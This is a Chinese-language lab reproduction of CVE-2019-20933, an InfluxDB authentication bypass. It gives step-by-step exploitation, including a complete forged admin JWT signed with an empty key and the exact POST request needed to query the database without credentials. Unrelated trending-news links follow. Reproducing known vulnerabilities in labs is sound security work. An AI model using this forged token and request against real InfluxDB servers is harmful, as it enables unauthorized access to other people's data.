
CVE-2019-20933 influxdb未授权访问漏洞复现
声明:该文章来自(shadowsec)版权由原作者所有,K2OS渲染引擎提供网页加速服务。
influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
参考链接:
https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
漏洞环境
执行如下命令启动influxdb 1.6.6:
docker-compose up -d
环境启动后,访问http://your-ip:8086/debug/vars即可查看一些服务信息
漏洞利用:
首先我们依然利用nmap扫描
此次漏洞影响的版本:influxDB <1.7.6
我们访问该端口
可以看到是404 not found,但是
我们访问http://192.168.1.12:8086/debug/vars
可以看到数据,我们进入 /query 查询的接口,然后看到需要验证
由于ifluxdb采用的是jwt加密方式,我们只需要在jwt加密解密网站上进行编码加入到数据包中即可绕过授权进行查询
这里我们需要更改两个地方,一是将username=admin,二是将时间戳改成大于当前时效的时间(时间戳用来记录jwt口令失效时间)
将这个验证编码加入到数据包中验证
要注意以下几点:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzE1NjE3NDUxfQ.lTb9_CDdHZaNLlEdu9PHWn9ZprstLU7sFUfel1MQDbE
添加该令牌,密钥要去空,username是固定
提价数据需要以post方式提交,将抓取的数据包改为post
sql语句例如:db=sample&q=show+users,得到用户回显
需要加上
Content-Type:application/x-www-form-urlencoded
否则数据回显错误
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
- 1 凝聚发展梦想 引领世代友好 7904514
- 2 那尔那茜涉嫌高考报名材料造假 7808997
- 3 南京这次成真“南哥”了 7713364
- 4 从5月份数据看消费市场新亮点 7616899
- 5 那尔那茜高考文化课449分 7522287
- 6 曝哈梅内伊藏身地堡 已提名接班人 7428146
- 7 63岁马景涛直播时晕倒 7328958
- 8 伊朗核设施遭“重大破坏”画面公开 7232235
- 9 汪峰牵手宁静 森林北评论区沦陷 7140927
- 10 伊朗街头大爷嗑着瓜子看拦截无人机 7047374